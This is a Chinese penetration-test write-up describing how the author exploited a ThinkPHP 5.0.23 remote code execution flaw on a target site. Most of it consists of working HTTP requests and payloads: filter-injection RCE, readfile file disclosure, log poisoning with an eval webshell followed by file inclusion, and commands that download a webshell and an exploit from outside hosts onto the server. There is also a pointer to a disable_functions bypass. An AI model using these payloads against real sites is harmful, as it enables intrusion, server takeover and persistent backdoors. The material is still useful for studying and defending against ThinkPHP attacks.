一次艰难的TP渗透测试

信息收集

由于网站 www.a.com/admin,访问立即跳转到www.a.com/admin/publicer/login

发现是TP,5.0.23,在漏洞的版本范围内,尝试使用:

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

_method=__construct&filter[]=system&method=GET&get[]=id

发现都不行,而且开启了pathinfo, 明明在版本范围内,payload打不成功怎么办

查看验证码,继续使用index.php?s=captcha 查看发现访问成功,change method,post,发现执行system,返回500,var_dump发现可以返回,说明代码能够执行成功

POST /?s=captcha HTTP/1.1
Host: vulnhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83

_method=__construct&method=get&filter[]=var_dump&server[REQUEST_METHOD]=1&get[]=2

查看phpinfo:

POST /?s=captcha HTTP/1.1Host: vulnhostCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 83

_method=__construct&method=get&filter[]=phpinfo&server[REQUEST_METHOD]=1&get[]=4

查看相关的信息后,disable_functions:

passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

目录知道的信息如下:

thinkphp 5.0.23
/www/wwwroot/vulhost/public/index.php
禁用函数
php 7.2.18,没办法assert
open_basedir /www/wwwroot/vulhostcn/:/tmp/:/proc/
首先想到的是,更新其他函数尝试,以及一些bypass绕过disable_functions,但是payload目前只能传入一个参数,并且还限制了很多函数.

_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=/tmp/sess_asd  _method=__construct&method=get&filter[]=think\Session::set&get[]=<?php x?>

发现不成功,可能session位置不对,查看phpinfo:

发现吧session写到了redis里,那尝试redis 来getshell试试:

_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=curl_exec(curl_init('dict://127.0.0.1:6379/info'));

失败告终,尝试其他办法

发现readfile是可以的,先读取index.php确定文件路径

_method=__construct&method=get&filter[]=readfile&server[REQUEST_METHOD]=/www/wwwroot/vulhost/public/index.php

通过读取index.php

确定路径,读取log

_method=__construct&method=get&filter[]=readfile&server[REQUEST_METHOD]=/www/wwwroot/vulhostcn/data/runtime/log/202004/04.log_method=__construct&method=get&filter[]=call_user_func&server[REQUEST_METHOD]=<?php eval($_POST['c']);?>_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=phpinfo();

文件包含成功,此漏洞详情可 查看https://xz.aliyun.com/t/6106

至此就基本上搞定了

传免杀shell:

file_put_contents('/www/wwwroot/vulnstcn/debug.php',file_get_contents('http://scan.javasec.cn/xxxxx'))

查看目录文件:

_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=print_r(scandir('/www/wwwroot/vulhostcn/public/'));

bypass disable_functions,参考:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass

_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=file_put_contents('/www/wwwroot/vulhostcn/public/themes/admin_themes/3.php',file_get_contents('http://vps:65534/exploit.php'));

fpm方式利用:

fpm没有使用tcp的方式,而是使用了unix的socket

$sock = stream_socket_client('unix:///tmp/php-fcgi.sock',$errno,$errstr);

redis后 自己在shell里上传个so 实现的命令执行等等,不过都是一些方向上的思路,可以以后尝试。

作者:sevck,文章来源:先知社区

(0)

相关推荐

  • 系统发生错误

    #0 /wwwroot/2019.xinxuejy/ThinkPHP/Library/Think/App.class.php(101): E('\xE6\x97\xA0\xE6\xB3\x95\xE5 ...

  • 编程语言php 闭包的作用

    public function __construct($config) { parent::__construct(); $this['config'] = function () use ($co ...

  • thinkPHP定义路由

    URL地址里面的index模块怎么才能省略呢,默认的URL地址显得有点长,下面就来说说如何通过路由简化URL访问. 我们在路由定义文件(application/route.php)里面添加一些路由规则 ...

  • 『渗透测试』常见未授权访问总结

    日期:2021-05-11 作者:ICDAT 来源:宸极实验室 介绍:本文主要介绍了常见未授权访问漏洞的检测以及利用. 0x00 前言 最近测试过程遇到了一些未授权访问的漏洞,就做了一些总结,以后遇到 ...

  • 最牛渗透测试工具开发公司Rapid7源代码遭到Codecov供应链攻击

    了解过远程风险评估的朋友,对Metasploit肯定都不陌生,那么对Rapid7这个全球领先的安全风险信息解决方案提供商理应也是不陌生的.同时,对于2020年SolarWinds供应链攻击还在不断推陈 ...

  • 渗透测试可能遇到常用消息头-网络安全基础

    渗透测试员在攻击Web应用程序时可能遇到哪些消息头?HTTP支持许多不同的消息头,其中一些专用于特殊用途.一些消息头可用在请求与响应中,而其他一些消息头只能专门用在某个特定的消息中.那么渗透测试可能遇 ...

  • 渗透测试可能遇到哪些请求消息头?网络安全学习

    渗透测试员在攻击Web应用程序时可能遇到哪些消息头?HTTP支持许多不同的消息头,其中一些专用于特殊用途.一些消息头可用在请求与响应中,而其他一些消息头只能专门用在某个特定的消息中.那么渗透测试可能遇 ...

  • 渗透测试可能遇到哪些响应消息头?网络安全技能

    渗透测试员在攻击Web应用程序时可能遇到哪些响应消息头?HTTP支持许多不同的消息头,其中一些专用于特殊用途.一些消息头可用在请求与响应中,而其他一些消息头只能专门用在某个特定的消息中.那么渗透测试可 ...

  • 一般渗透测试的流程步骤是什么?网络安全知识

    渗透测试这个事情不是随便拿个工具就可以做了,要了解业务还需要给出解决方案.那么对于网络安全工程来说,工作中的渗透测试的流程是怎样的?渗透测试与入侵有什么区别? 渗透测试与入侵的最大区别? 渗透测试:出 ...

  • 渗透测试前期之信息收集总结

    信息收集的意义 信息收集对于渗透测试前期来说是非常重要的.正所谓,知己知彼百战不殆,信息收集是渗透测试成功的保障,只有我们掌握了目标网站或目标主机足够多的信息之后,才能更好地进行渗透测试. 信息收集的 ...

  • 记一次相对完整的渗透测试

    教育src 700rank了想着继续冲一波分,早日上核心,于是就有了下面这一次渗透测试的过程了. 开局一个登陆框,且存在密码找回功能. 归属为某教育局 开启burp 抓取登陆包,发现用户密码并未加密 ...

  • 内网渗透测试:初探远程桌面的安全问题

    乌雲安全 81篇原创内容 公众号 前言 远程桌面对了解内网渗透的人来说可能再熟悉不过了.在渗透测试中,拿下一台主机后有时候会选择开 3389 进远程桌面查看一下对方主机内有无一些有价值的东西可以利用. ...